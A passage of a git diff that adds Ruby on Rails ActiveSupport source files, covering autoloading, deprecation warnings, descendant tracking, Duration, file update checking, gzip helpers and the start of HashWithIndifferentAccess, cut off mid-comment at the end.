+ # trigger Kernel#autoloads, see the comment below.
+ parent_name = constants.join('::')
+ return unless qualified_const_defined?(parent_name)
+ parent = constantize(parent_name)
+ end
+
+ log "removing constant #{const}"
+
+ # In an autoloaded user.rb like this
+ #
+ # autoload :Foo, 'foo'
+ #
+ # class User < ActiveRecord::Base
+ # end
+ #
+ # we correctly register "Foo" as being autoloaded. But if the app does
+ # not use the "Foo" constant we need to be careful not to trigger
+ # loading "foo.rb" ourselves. While #const_defined? and #const_get? do
+ # require the file, #autoload? and #remove_const don't.
+ #
+ # We are going to remove the constant nonetheless ---which exists as
+ # far as Ruby is concerned--- because if the user removes the macro
+ # call from a class or module that were not autoloaded, as in the
+ # example above with Object, accessing to that constant must err.
+ unless parent.autoload?(to_remove)
+ begin
+ constantized = parent.const_get(to_remove, false)
+ rescue NameError
+ log "the constant #{const} is not reachable anymore, skipping"
+ return
+ else
+ constantized.before_remove_const if constantized.respond_to?(:before_remove_const)
+ end
+ end
+
+ begin
+ parent.instance_eval { remove_const to_remove }
+ rescue NameError
+ log "the constant #{const} is not reachable anymore, skipping"
+ end
+ end
+
+ protected
+ def log_call(*args)
+ if log_activity?
+ arg_str = args.collect { |arg| arg.inspect } * ', '
+ /in `([a-z_\?\!]+)'/ =~ caller(1).first
+ selector = $1 || '<unknown>'
+ log "called #{selector}(#{arg_str})"
+ end
+ end
+
+ def log(msg)
+ logger.debug "Dependencies: #{msg}" if log_activity?
+ end
+
+ def log_activity?
+ logger && log_activity
+ end
+ end
+end
+
+ActiveSupport::Dependencies.hook!
diff --git a/activesupport/lib/active_support/dependencies/autoload.rb b/activesupport/lib/active_support/dependencies/autoload.rb
new file mode 100644
index 0000000..c0dba5f
--- /dev/null
+++ b/activesupport/lib/active_support/dependencies/autoload.rb
@@ -0,0 +1,77 @@
+require "active_support/inflector/methods"
+
+module ActiveSupport
+ # Autoload and eager load conveniences for your library.
+ #
+ # This module allows you to define autoloads based on
+ # Rails conventions (i.e. no need to define the path
+ # it is automatically guessed based on the filename)
+ # and also define a set of constants that needs to be
+ # eager loaded:
+ #
+ # module MyLib
+ # extend ActiveSupport::Autoload
+ #
+ # autoload :Model
+ #
+ # eager_autoload do
+ # autoload :Cache
+ # end
+ # end
+ #
+ # Then your library can be eager loaded by simply calling:
+ #
+ # MyLib.eager_load!
+ module Autoload
+ def self.extended(base) # :nodoc:
+ base.class_eval do
+ @_autoloads = {}
+ @_under_path = nil
+ @_at_path = nil
+ @_eager_autoload = false
+ end
+ end
+
+ def autoload(const_name, path = @_at_path)
+ unless path
+ full = [name, @_under_path, const_name.to_s].compact.join("::")
+ path = Inflector.underscore(full)
+ end
+
+ if @_eager_autoload
+ @_autoloads[const_name] = path
+ end
+
+ super const_name, path
+ end
+
+ def autoload_under(path)
+ @_under_path, old_path = path, @_under_path
+ yield
+ ensure
+ @_under_path = old_path
+ end
+
+ def autoload_at(path)
+ @_at_path, old_path = path, @_at_path
+ yield
+ ensure
+ @_at_path = old_path
+ end
+
+ def eager_autoload
+ old_eager, @_eager_autoload = @_eager_autoload, true
+ yield
+ ensure
+ @_eager_autoload = old_eager
+ end
+
+ def eager_load!
+ @_autoloads.values.each { |file| require file }
+ end
+
+ def autoloads
+ @_autoloads
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/deprecation.rb b/activesupport/lib/active_support/deprecation.rb
new file mode 100644
index 0000000..6c15fff
--- /dev/null
+++ b/activesupport/lib/active_support/deprecation.rb
@@ -0,0 +1,43 @@
+require 'singleton'
+
+module ActiveSupport
+ # \Deprecation specifies the API used by Rails to deprecate methods, instance
+ # variables, objects and constants.
+ class Deprecation
+ # active_support.rb sets an autoload for ActiveSupport::Deprecation.
+ #
+ # If these requires were at the top of the file the constant would not be
+ # defined by the time their files were loaded. Since some of them reopen
+ # ActiveSupport::Deprecation its autoload would be triggered, resulting in
+ # a circular require warning for active_support/deprecation.rb.
+ #
+ # So, we define the constant first, and load dependencies later.
+ require 'active_support/deprecation/instance_delegator'
+ require 'active_support/deprecation/behaviors'
+ require 'active_support/deprecation/reporting'
+ require 'active_support/deprecation/method_wrappers'
+ require 'active_support/deprecation/proxy_wrappers'
+ require 'active_support/core_ext/module/deprecation'
+
+ include Singleton
+ include InstanceDelegator
+ include Behavior
+ include Reporting
+ include MethodWrapper
+
+ # The version the deprecated behavior will be removed, by default.
+ attr_accessor :deprecation_horizon
+
+ # It accepts two parameters on initialization. The first is an version of library
+ # and the second is an library name
+ #
+ # ActiveSupport::Deprecation.new('2.0', 'MyLibrary')
+ def initialize(deprecation_horizon = '4.1', gem_name = 'Rails')
+ self.gem_name = gem_name
+ self.deprecation_horizon = deprecation_horizon
+ # By default, warnings are not silenced and debugging is off.
+ self.silenced = false
+ self.debug = false
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/deprecation/behaviors.rb b/activesupport/lib/active_support/deprecation/behaviors.rb
new file mode 100644
index 0000000..90db180
--- /dev/null
+++ b/activesupport/lib/active_support/deprecation/behaviors.rb
@@ -0,0 +1,63 @@
+require "active_support/notifications"
+
+module ActiveSupport
+ class Deprecation
+ # Default warning behaviors per Rails.env.
+ DEFAULT_BEHAVIORS = {
+ :stderr => Proc.new { |message, callstack|
+ $stderr.puts(message)
+ $stderr.puts callstack.join("\n ") if debug
+ },
+ :log => Proc.new { |message, callstack|
+ logger =
+ if defined?(Rails) && Rails.logger
+ Rails.logger
+ else
+ require 'active_support/logger'
+ ActiveSupport::Logger.new($stderr)
+ end
+ logger.warn message
+ logger.debug callstack.join("\n ") if debug
+ },
+ :notify => Proc.new { |message, callstack|
+ ActiveSupport::Notifications.instrument("deprecation.rails",
+ :message => message, :callstack => callstack)
+ },
+ :silence => Proc.new { |message, callstack| }
+ }
+
+ module Behavior
+ # Whether to print a backtrace along with the warning.
+ attr_accessor :debug
+
+ # Returns the current behavior or if one isn't set, defaults to +:stderr+.
+ def behavior
+ @behavior ||= [DEFAULT_BEHAVIORS[:stderr]]
+ end
+
+ # Sets the behavior to the specified value. Can be a single value, array,
+ # or an object that responds to +call+.
+ #
+ # Available behaviors:
+ #
+ # [+stderr+] Log all deprecation warnings to +$stderr+.
+ # [+log+] Log all deprecation warnings to +Rails.logger+.
+ # [+notify+] Use +ActiveSupport::Notifications+ to notify +deprecation.rails+.
+ # [+silence+] Do nothing.
+ #
+ # Setting behaviors only affects deprecations that happen after boot time.
+ # Deprecation warnings raised by gems are not affected by this setting
+ # because they happen before Rails boots up.
+ #
+ # ActiveSupport::Deprecation.behavior = :stderr
+ # ActiveSupport::Deprecation.behavior = [:stderr, :log]
+ # ActiveSupport::Deprecation.behavior = MyCustomHandler
+ # ActiveSupport::Deprecation.behavior = proc { |message, callstack|
+ # # custom stuff
+ # }
+ def behavior=(behavior)
+ @behavior = Array(behavior).map { |b| DEFAULT_BEHAVIORS[b] || b }
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/deprecation/instance_delegator.rb b/activesupport/lib/active_support/deprecation/instance_delegator.rb
new file mode 100644
index 0000000..8472a58
--- /dev/null
+++ b/activesupport/lib/active_support/deprecation/instance_delegator.rb
@@ -0,0 +1,24 @@
+require 'active_support/core_ext/kernel/singleton_class'
+require 'active_support/core_ext/module/delegation'
+
+module ActiveSupport
+ class Deprecation
+ module InstanceDelegator # :nodoc:
+ def self.included(base)
+ base.extend(ClassMethods)
+ base.public_class_method :new
+ end
+
+ module ClassMethods # :nodoc:
+ def include(included_module)
+ included_module.instance_methods.each { |m| method_added(m) }
+ super
+ end
+
+ def method_added(method_name)
+ singleton_class.delegate(method_name, to: :instance)
+ end
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/deprecation/method_wrappers.rb b/activesupport/lib/active_support/deprecation/method_wrappers.rb
new file mode 100644
index 0000000..cab8a1b
--- /dev/null
+++ b/activesupport/lib/active_support/deprecation/method_wrappers.rb
@@ -0,0 +1,44 @@
+require 'active_support/core_ext/module/aliasing'
+require 'active_support/core_ext/array/extract_options'
+
+module ActiveSupport
+ class Deprecation
+ module MethodWrapper
+ # Declare that a method has been deprecated.
+ #
+ # module Fred
+ # extend self
+ #
+ # def foo; end
+ # def bar; end
+ # def baz; end
+ # end
+ #
+ # ActiveSupport::Deprecation.deprecate_methods(Fred, :foo, bar: :qux, baz: 'use Bar#baz instead')
+ # # => [:foo, :bar, :baz]
+ #
+ # Fred.foo
+ # # => "DEPRECATION WARNING: foo is deprecated and will be removed from Rails 4.1."
+ #
+ # Fred.bar
+ # # => "DEPRECATION WARNING: bar is deprecated and will be removed from Rails 4.1 (use qux instead)."
+ #
+ # Fred.baz
+ # # => "DEPRECATION WARNING: baz is deprecated and will be removed from Rails 4.1 (use Bar#baz instead)."
+ def deprecate_methods(target_module, *method_names)
+ options = method_names.extract_options!
+ deprecator = options.delete(:deprecator) || ActiveSupport::Deprecation.instance
+ method_names += options.keys
+
+ method_names.each do |method_name|
+ target_module.alias_method_chain(method_name, :deprecation) do |target, punctuation|
+ target_module.send(:define_method, "#{target}_with_deprecation#{punctuation}") do |*args, &block|
+ deprecator.deprecation_warning(method_name, options[method_name])
+ send(:"#{target}_without_deprecation#{punctuation}", *args, &block)
+ end
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/deprecation/proxy_wrappers.rb b/activesupport/lib/active_support/deprecation/proxy_wrappers.rb
new file mode 100644
index 0000000..485dc91
--- /dev/null
+++ b/activesupport/lib/active_support/deprecation/proxy_wrappers.rb
@@ -0,0 +1,126 @@
+require 'active_support/inflector/methods'
+
+module ActiveSupport
+ class Deprecation
+ class DeprecationProxy #:nodoc:
+ def self.new(*args, &block)
+ object = args.first
+
+ return object unless object
+ super
+ end
+
+ instance_methods.each { |m| undef_method m unless m =~ /^__|^object_id$/ }
+
+ # Don't give a deprecation warning on inspect since test/unit and error
+ # logs rely on it for diagnostics.
+ def inspect
+ target.inspect
+ end
+
+ private
+ def method_missing(called, *args, &block)
+ warn caller, called, args
+ target.__send__(called, *args, &block)
+ end
+ end
+
+ # This DeprecatedObjectProxy transforms object to depracated object.
+ #
+ # @old_object = DeprecatedObjectProxy.new(Object.new, "Don't use this object anymore!")
+ # @old_object = DeprecatedObjectProxy.new(Object.new, "Don't use this object anymore!", deprecator_instance)
+ #
+ # When someone executes any method except +inspect+ on proxy object this will
+ # trigger +warn+ method on +deprecator_instance+.
+ #
+ # Default deprecator is <tt>ActiveSupport::Deprecation</tt>
+ class DeprecatedObjectProxy < DeprecationProxy
+ def initialize(object, message, deprecator = ActiveSupport::Deprecation.instance)
+ @object = object
+ @message = message
+ @deprecator = deprecator
+ end
+
+ private
+ def target
+ @object
+ end
+
+ def warn(callstack, called, args)
+ @deprecator.warn(@message, callstack)
+ end
+ end
+
+ # This DeprecatedInstanceVariableProxy transforms instance variable to
+ # depracated instance variable.
+ #
+ # class Example
+ # def initialize(deprecator)
+ # @request = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(self, :request, :@request, deprecator)
+ # @_request = :a_request
+ # end
+ #
+ # def request
+ # @_request
+ # end
+ #
+ # def old_request
+ # @request
+ # end
+ # end
+ #
+ # When someone execute any method on @request variable this will trigger
+ # +warn+ method on +deprecator_instance+ and will fetch <tt>@_request</tt>
+ # variable via +request+ method and execute the same method on non-proxy
+ # instance variable.
+ #
+ # Default deprecator is <tt>ActiveSupport::Deprecation</tt>.
+ class DeprecatedInstanceVariableProxy < DeprecationProxy
+ def initialize(instance, method, var = "@#{method}", deprecator = ActiveSupport::Deprecation.instance)
+ @instance = instance
+ @method = method
+ @var = var
+ @deprecator = deprecator
+ end
+
+ private
+ def target
+ @instance.__send__(@method)
+ end
+
+ def warn(callstack, called, args)
+ @deprecator.warn("#{@var} is deprecated! Call #{@method}.#{called} instead of #{@var}.#{called}. Args: #{args.inspect}", callstack)
+ end
+ end
+
+ # This DeprecatedConstantProxy transforms constant to depracated constant.
+ #
+ # OLD_CONST = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('OLD_CONST', 'NEW_CONST')
+ # OLD_CONST = ActiveSupport::Deprecation::DeprecatedConstantProxy.new('OLD_CONST', 'NEW_CONST', deprecator_instance)
+ #
+ # When someone use old constant this will trigger +warn+ method on
+ # +deprecator_instance+.
+ #
+ # Default deprecator is <tt>ActiveSupport::Deprecation</tt>.
+ class DeprecatedConstantProxy < DeprecationProxy
+ def initialize(old_const, new_const, deprecator = ActiveSupport::Deprecation.instance)
+ @old_const = old_const
+ @new_const = new_const
+ @deprecator = deprecator
+ end
+
+ def class
+ target.class
+ end
+
+ private
+ def target
+ ActiveSupport::Inflector.constantize(@new_const.to_s)
+ end
+
+ def warn(callstack, called, args)
+ @deprecator.warn("#{@old_const} is deprecated! Use #{@new_const} instead.", callstack)
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/deprecation/reporting.rb b/activesupport/lib/active_support/deprecation/reporting.rb
new file mode 100644
index 0000000..a7d265d
--- /dev/null
+++ b/activesupport/lib/active_support/deprecation/reporting.rb
@@ -0,0 +1,94 @@
+module ActiveSupport
+ class Deprecation
+ module Reporting
+ # Whether to print a message (silent mode)
+ attr_accessor :silenced
+ # Name of gem where method is deprecated
+ attr_accessor :gem_name
+
+ # Outputs a deprecation warning to the output configured by
+ # <tt>ActiveSupport::Deprecation.behavior</tt>.
+ #
+ # ActiveSupport::Deprecation.warn('something broke!')
+ # # => "DEPRECATION WARNING: something broke! (called from your_code.rb:1)"
+ def warn(message = nil, callstack = nil)
+ return if silenced
+
+ callstack ||= caller(2)
+ deprecation_message(callstack, message).tap do |m|
+ behavior.each { |b| b.call(m, callstack) }
+ end
+ end
+
+ # Silence deprecation warnings within the block.
+ #
+ # ActiveSupport::Deprecation.warn('something broke!')
+ # # => "DEPRECATION WARNING: something broke! (called from your_code.rb:1)"
+ #
+ # ActiveSupport::Deprecation.silence do
+ # ActiveSupport::Deprecation.warn('something broke!')
+ # end
+ # # => nil
+ def silence
+ old_silenced, @silenced = @silenced, true
+ yield
+ ensure
+ @silenced = old_silenced
+ end
+
+ def deprecation_warning(deprecated_method_name, message = nil, caller_backtrace = nil)
+ caller_backtrace ||= caller(2)
+ deprecated_method_warning(deprecated_method_name, message).tap do |msg|
+ warn(msg, caller_backtrace)
+ end
+ end
+
+ private
+ # Outputs a deprecation warning message
+ #
+ # ActiveSupport::Deprecation.deprecated_method_warning(:method_name)
+ # # => "method_name is deprecated and will be removed from Rails #{deprecation_horizon}"
+ # ActiveSupport::Deprecation.deprecated_method_warning(:method_name, :another_method)
+ # # => "method_name is deprecated and will be removed from Rails #{deprecation_horizon} (use another_method instead)"
+ # ActiveSupport::Deprecation.deprecated_method_warning(:method_name, "Optional message")
+ # # => "method_name is deprecated and will be removed from Rails #{deprecation_horizon} (Optional message)"
+ def deprecated_method_warning(method_name, message = nil)
+ warning = "#{method_name} is deprecated and will be removed from #{gem_name} #{deprecation_horizon}"
+ case message
+ when Symbol then "#{warning} (use #{message} instead)"
+ when String then "#{warning} (#{message})"
+ else warning
+ end
+ end
+
+ def deprecation_message(callstack, message = nil)
+ message ||= "You are using deprecated behavior which will be removed from the next major or minor release."
+ message += '.' unless message =~ /\.$/
+ "DEPRECATION WARNING: #{message} #{deprecation_caller_message(callstack)}"
+ end
+
+ def deprecation_caller_message(callstack)
+ file, line, method = extract_callstack(callstack)
+ if file
+ if line && method
+ "(called from #{method} at #{file}:#{line})"
+ else
+ "(called from #{file}:#{line})"
+ end
+ end
+ end
+
+ def extract_callstack(callstack)
+ rails_gem_root = File.expand_path("../../../../..", __FILE__) + "/"
+ offending_line = callstack.find { |line| !line.start_with?(rails_gem_root) } || callstack.first
+ if offending_line
+ if md = offending_line.match(/^(.+?):(\d+)(?::in `(.*?)')?/)
+ md.captures
+ else
+ offending_line
+ end
+ end
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/descendants_tracker.rb b/activesupport/lib/active_support/descendants_tracker.rb
new file mode 100644
index 0000000..27861e0
--- /dev/null
+++ b/activesupport/lib/active_support/descendants_tracker.rb
@@ -0,0 +1,60 @@
+module ActiveSupport
+ # This module provides an internal implementation to track descendants
+ # which is faster than iterating through ObjectSpace.
+ module DescendantsTracker
+ @@direct_descendants = {}
+
+ class << self
+ def direct_descendants(klass)
+ @@direct_descendants[klass] || []
+ end
+
+ def descendants(klass)
+ arr = []
+ accumulate_descendants(klass, arr)
+ arr
+ end
+
+ def clear
+ if defined? ActiveSupport::Dependencies
+ @@direct_descendants.each do |klass, descendants|
+ if ActiveSupport::Dependencies.autoloaded?(klass)
+ @@direct_descendants.delete(klass)
+ else
+ descendants.reject! { |v| ActiveSupport::Dependencies.autoloaded?(v) }
+ end
+ end
+ else
+ @@direct_descendants.clear
+ end
+ end
+
+ # This is the only method that is not thread safe, but is only ever called
+ # during the eager loading phase.
+ def store_inherited(klass, descendant)
+ (@@direct_descendants[klass] ||= []) << descendant
+ end
+
+ private
+ def accumulate_descendants(klass, acc)
+ if direct_descendants = @@direct_descendants[klass]
+ acc.concat(direct_descendants)
+ direct_descendants.each { |direct_descendant| accumulate_descendants(direct_descendant, acc) }
+ end
+ end
+ end
+
+ def inherited(base)
+ DescendantsTracker.store_inherited(self, base)
+ super
+ end
+
+ def direct_descendants
+ DescendantsTracker.direct_descendants(self)
+ end
+
+ def descendants
+ DescendantsTracker.descendants(self)
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/duration.rb b/activesupport/lib/active_support/duration.rb
new file mode 100644
index 0000000..2cb1f40
--- /dev/null
+++ b/activesupport/lib/active_support/duration.rb
@@ -0,0 +1,108 @@
+require 'active_support/proxy_object'
+require 'active_support/core_ext/array/conversions'
+require 'active_support/core_ext/object/acts_like'
+
+module ActiveSupport
+ # Provides accurate date and time measurements using Date#advance and
+ # Time#advance, respectively. It mainly supports the methods on Numeric.
+ #
+ # 1.month.ago # equivalent to Time.now.advance(months: -1)
+ class Duration < ProxyObject
+ attr_accessor :value, :parts
+
+ def initialize(value, parts) #:nodoc:
+ @value, @parts = value, parts
+ end
+
+ # Adds another Duration or a Numeric to this Duration. Numeric values
+ # are treated as seconds.
+ def +(other)
+ if Duration === other
+ Duration.new(value + other.value, @parts + other.parts)
+ else
+ Duration.new(value + other, @parts + [[:seconds, other]])
+ end
+ end
+
+ # Subtracts another Duration or a Numeric from this Duration. Numeric
+ # values are treated as seconds.
+ def -(other)
+ self + (-other)
+ end
+
+ def -@ #:nodoc:
+ Duration.new(-value, parts.map { |type,number| [type, -number] })
+ end
+
+ def is_a?(klass) #:nodoc:
+ Duration == klass || value.is_a?(klass)
+ end
+ alias :kind_of? :is_a?
+
+ # Returns +true+ if +other+ is also a Duration instance with the
+ # same +value+, or if <tt>other == value</tt>.
+ def ==(other)
+ if Duration === other
+ other.value == value
+ else
+ other == value
+ end
+ end
+
+ def self.===(other) #:nodoc:
+ other.is_a?(Duration)
+ rescue ::NoMethodError
+ false
+ end
+
+ # Calculates a new Time or Date that is as far in the future
+ # as this Duration represents.
+ def since(time = ::Time.current)
+ sum(1, time)
+ end
+ alias :from_now :since
+
+ # Calculates a new Time or Date that is as far in the past
+ # as this Duration represents.
+ def ago(time = ::Time.current)
+ sum(-1, time)
+ end
+ alias :until :ago
+
+ def inspect #:nodoc:
+ consolidated = parts.inject(::Hash.new(0)) { |h,(l,r)| h[l] += r; h }
+ parts = [:years, :months, :days, :minutes, :seconds].map do |length|
+ n = consolidated[length]
+ "#{n} #{n == 1 ? length.to_s.singularize : length.to_s}" if n.nonzero?
+ end.compact
+ parts = ["0 seconds"] if parts.empty?
+ parts.to_sentence(:locale => :en)
+ end
+
+ def as_json(options = nil) #:nodoc:
+ to_i
+ end
+
+ protected
+
+ def sum(sign, time = ::Time.current) #:nodoc:
+ parts.inject(time) do |t,(type,number)|
+ if t.acts_like?(:time) || t.acts_like?(:date)
+ if type == :seconds
+ t.since(sign * number)
+ else
+ t.advance(type => sign * number)
+ end
+ else
+ raise ::ArgumentError, "expected a time or date, got #{time.inspect}"
+ end
+ end
+ end
+
+ private
+
+ def method_missing(method, *args, &block) #:nodoc:
+ value.send(method, *args, &block)
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/file_update_checker.rb b/activesupport/lib/active_support/file_update_checker.rb
new file mode 100644
index 0000000..20136dd
--- /dev/null
+++ b/activesupport/lib/active_support/file_update_checker.rb
@@ -0,0 +1,137 @@
+module ActiveSupport
+ # FileUpdateChecker specifies the API used by Rails to watch files
+ # and control reloading. The API depends on four methods:
+ #
+ # * +initialize+ which expects two parameters and one block as
+ # described below.
+ #
+ # * +updated?+ which returns a boolean if there were updates in
+ # the filesystem or not.
+ #
+ # * +execute+ which executes the given block on initialization
+ # and updates the latest watched files and timestamp.
+ #
+ # * +execute_if_updated+ which just executes the block if it was updated.
+ #
+ # After initialization, a call to +execute_if_updated+ must execute
+ # the block only if there was really a change in the filesystem.
+ #
+ # This class is used by Rails to reload the I18n framework whenever
+ # they are changed upon a new request.
+ #
+ # i18n_reloader = ActiveSupport::FileUpdateChecker.new(paths) do
+ # I18n.reload!
+ # end
+ #
+ # ActionDispatch::Reloader.to_prepare do
+ # i18n_reloader.execute_if_updated
+ # end
+ class FileUpdateChecker
+ # It accepts two parameters on initialization. The first is an array
+ # of files and the second is an optional hash of directories. The hash must
+ # have directories as keys and the value is an array of extensions to be
+ # watched under that directory.
+ #
+ # This method must also receive a block that will be called once a path
+ # changes. The array of files and list of directories cannot be changed
+ # after FileUpdateChecker has been initialized.
+ def initialize(files, dirs={}, &block)
+ @files = files.freeze
+ @glob = compile_glob(dirs)
+ @block = block
+
+ @watched = nil
+ @updated_at = nil
+
+ @last_watched = watched
+ @last_update_at = updated_at(@last_watched)
+ end
+
+ # Check if any of the entries were updated. If so, the watched and/or
+ # updated_at values are cached until the block is executed via +execute+
+ # or +execute_if_updated+.
+ def updated?
+ current_watched = watched
+ if @last_watched.size != current_watched.size
+ @watched = current_watched
+ true
+ else
+ current_updated_at = updated_at(current_watched)
+ if @last_update_at < current_updated_at
+ @watched = current_watched
+ @updated_at = current_updated_at
+ true
+ else
+ false
+ end
+ end
+ end
+
+ # Executes the given block and updates the latest watched files and
+ # timestamp.
+ def execute
+ @last_watched = watched
+ @last_update_at = updated_at(@last_watched)
+ @block.call
+ ensure
+ @watched = nil
+ @updated_at = nil
+ end
+
+ # Execute the block given if updated.
+ def execute_if_updated
+ if updated?
+ execute
+ true
+ else
+ false
+ end
+ end
+
+ private
+
+ def watched
+ @watched || begin
+ all = @files.select { |f| File.exists?(f) }
+ all.concat(Dir[@glob]) if @glob
+ all
+ end
+ end
+
+ def updated_at(paths)
+ @updated_at || max_mtime(paths) || Time.at(0)
+ end
+
+ # This method returns the maximum mtime of the files in +paths+, or +nil+
+ # if the array is empty.
+ #
+ # Files with a mtime in the future are ignored. Such abnormal situation
+ # can happen for example if the user changes the clock by hand. It is
+ # healthy to consider this edge case because with mtimes in the future
+ # reloading is not triggered.
+ def max_mtime(paths)
+ time_now = Time.now
+ paths.map {|path| File.mtime(path)}.reject {|mtime| time_now < mtime}.max
+ end
+
+ def compile_glob(hash)
+ hash.freeze # Freeze so changes aren't accidently pushed
+ return if hash.empty?
+
+ globs = hash.map do |key, value|
+ "#{escape(key)}/**/*#{compile_ext(value)}"
+ end
+ "{#{globs.join(",")}}"
+ end
+
+ def escape(key)
+ key.gsub(',','\,')
+ end
+
+ def compile_ext(array)
+ array = Array(array)
+ return if array.empty?
+ ".{#{array.join(",")}}"
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/file_watcher.rb b/activesupport/lib/active_support/file_watcher.rb
new file mode 100644
index 0000000..81e63e7
--- /dev/null
+++ b/activesupport/lib/active_support/file_watcher.rb
@@ -0,0 +1,36 @@
+module ActiveSupport
+ class FileWatcher
+ class Backend
+ def initialize(path, watcher)
+ @watcher = watcher
+ @path = path
+ end
+
+ def trigger(files)
+ @watcher.trigger(files)
+ end
+ end
+
+ def initialize
+ @regex_matchers = {}
+ end
+
+ def watch(pattern, &block)
+ @regex_matchers[pattern] = block
+ end
+
+ def trigger(files)
+ trigger_files = Hash.new { |h,k| h[k] = Hash.new { |h2,k2| h2[k2] = [] } }
+
+ files.each do |file, state|
+ @regex_matchers.each do |pattern, block|
+ trigger_files[block][state] << file if pattern === file
+ end
+ end
+
+ trigger_files.each do |block, payload|
+ block.call payload
+ end
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/gzip.rb b/activesupport/lib/active_support/gzip.rb
new file mode 100644
index 0000000..b837c87
--- /dev/null
+++ b/activesupport/lib/active_support/gzip.rb
@@ -0,0 +1,36 @@
+require 'zlib'
+require 'stringio'
+
+module ActiveSupport
+ # A convenient wrapper for the zlib standard library that allows
+ # compression/decompression of strings with gzip.
+ #
+ # gzip = ActiveSupport::Gzip.compress('compress me!')
+ # # => "\x1F\x8B\b\x00o\x8D\xCDO\x00\x03K\xCE\xCF-(J-.V\xC8MU\x04\x00R>n\x83\f\x00\x00\x00"
+ #
+ # ActiveSupport::Gzip.decompress(gzip)
+ # # => "compress me!"
+ module Gzip
+ class Stream < StringIO
+ def initialize(*)
+ super
+ set_encoding "BINARY"
+ end
+ def close; rewind; end
+ end
+
+ # Decompresses a gzipped string.
+ def self.decompress(source)
+ Zlib::GzipReader.new(StringIO.new(source)).read
+ end
+
+ # Compresses a string using gzip.
+ def self.compress(source, level=Zlib::DEFAULT_COMPRESSION, strategy=Zlib::DEFAULT_STRATEGY)
+ output = Stream.new
+ gz = Zlib::GzipWriter.new(output, level, strategy)
+ gz.write(source)
+ gz.close
+ output.string
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/hash_with_indifferent_access.rb b/activesupport/lib/active_support/hash_with_indifferent_access.rb
new file mode 100644
index 0000000..1b20592
--- /dev/null
+++ b/activesupport/lib/active_support/hash_with_indifferent_access.rb
@@ -0,0 +1,253 @@
+require 'active_support/core_ext/hash/keys'
+
+module ActiveSupport
+ # Implements a hash where keys <tt>:foo</tt> and <tt>"foo"</tt> are considered
+ # to be the same.
+ #
+ # rgb = ActiveSupport::HashWithIndifferentAccess.new
+ #
+ # rgb[:black] = '#000000'
+ # rgb[:black] # => '#000000'
+ # rgb['black'] # => '#000000'
+ #
+ # rgb['white'] = '#FFFFFF'
+ # rgb[:white] # => '#FFFFFF'
+ # rgb['white'] # => '#FFFFFF'
+ #
+ # Internally symbols are mapped to strings when used as keys in the entire
+ # writing interface (calling <tt>[]=</tt>, <tt>merge</tt>, etc). This
+ # mapping belongs to the public interface. For example, given:
+ #
+ # hash = ActiveSupport::HashWithIndifferentAccess.new(a: 1)
+ #
+ # You are guaranteed that the key is returned as a string:
+ #
+ # hash.keys # => ["a"]
+ #
+ # Technically other types of keys are accepted:
+ #
+ # hash = ActiveSupport::HashWithIndifferentAccess.new(a: 1)
+ # hash[0] = 0
+ # hash # => {"a"=>1, 0=>0}
+ #
+ # but this class is intended for use cases where strings or symbols are the
+ # expected keys and it is convenient to understand both as the same. For
+ # example the +params+ hash in Ruby on Rails.
+ #
+ # Note that core extensions define <tt>Hash#with_indifferent_access</tt>:
+ #
+ # rgb = { black: '#000000', white: '#FFFFFF' }.with_indifferent_access
+ #
+ # which may be handy.
+ class HashWithIndifferentAccess < Hash
+ # Returns +true+ so that <tt>Array#extract_options!</tt> finds members of
+ # this class.
+ def extractable_options?
+ true
+ end
+
+ def with_indifferent_access
+ dup
+ end
+
+ def nested_under_indifferent_access
+ self
+ end
+
+ def initialize(constructor = {})
+ if constructor.is_a?(Hash)
+ super()
+ update(constructor)
+ else
+ super(constructor)
+ end
+ end
+
+ def default(key = nil)
+ if key.is_a?(Symbol) && include?(key = key.to_s)
+ self[key]
+ else
+ super
+ end
+ end
+
+ def self.new_from_hash_copying_default(hash)
+ new(hash).tap do |new_hash|
+ new_hash.default = hash.default
+ end
+ end
+
+ def self.[](*args)
+ new.merge!(Hash[*args])
+ end
+
+ alias_method :regular_writer, :[]= unless method_defined?(:regular_writer)
+ alias_method :regular_update, :update unless method_defined?(:regular_update)
+
+ # Assigns a new value to the hash:
+ #
+ # hash = ActiveSupport::HashWithIndifferentAccess.new
+ # hash[:key] = 'value'
+ #
+ # This value can be later fetched using either +:key+ or +'key'+.
+ def []=(key, value)
+ regular_writer(convert_key(key), convert_value(value))
+ end
+
+ alias_method :store, :[]=
+
+ # Updates the receiver in-place, merging in the hash passed as argument:
+ #
+ # hash_1 = ActiveSupport::HashWithIndifferentAccess.new
+ # hash_1[:key] = 'value'
+ #
+ # hash_2 = ActiveSupport::HashWithIndifferentAccess.new
+ # hash_2[:key] = 'New Value!'
+ #
+ # hash_1.update(hash_2) # => {"key"=>"New Value!"}
+ #
+ # The argument can be either an
+ # <tt>ActiveSupport::HashWithIndifferentAccess</tt> or a regular +Hash+.
+ # In either case the merge respects the semantics of indifferent access.
+ #
+ # If the argument is a regular hash with keys +:key+ and +"key"+ only one
+ # of the values end up in the receiver, but which one is unspecified.
+ #
+ # When given a block, the value for duplicated keys will be determined
+ # by the result of invoking the block with the duplicated key, the value
+ # in the receiver, and the value in +other_hash+. The rules for duplicated
+ # keys follow the semantics of indifferent access:
+ #
+ # hash_1[:key] = 10
+ # hash_2['key'] = 12
+ # hash_1.update(hash_2) { |key, old, new| old + new } # => {"key"=>22}
+ def update(other_hash)
+ if other_hash.is_a? HashWithIndifferentAccess
+ super(other_hash)
+ else
+ other_hash.each_pair do |key, value|
+ if block_given? && key?(key)
+ value = yield(convert_key(key), self[key], value)
+ end
+ regular_writer(convert_key(key), convert_value(value))
+ end
+ self
+ end
+ end
+
+ alias_method :merge!, :update
+
+ # Checks the hash for a key matching the argument passed in:
+ #
+ # hash = ActiveSupport::HashWithIndifferentAccess.new
+ # hash['key'] = 'value'
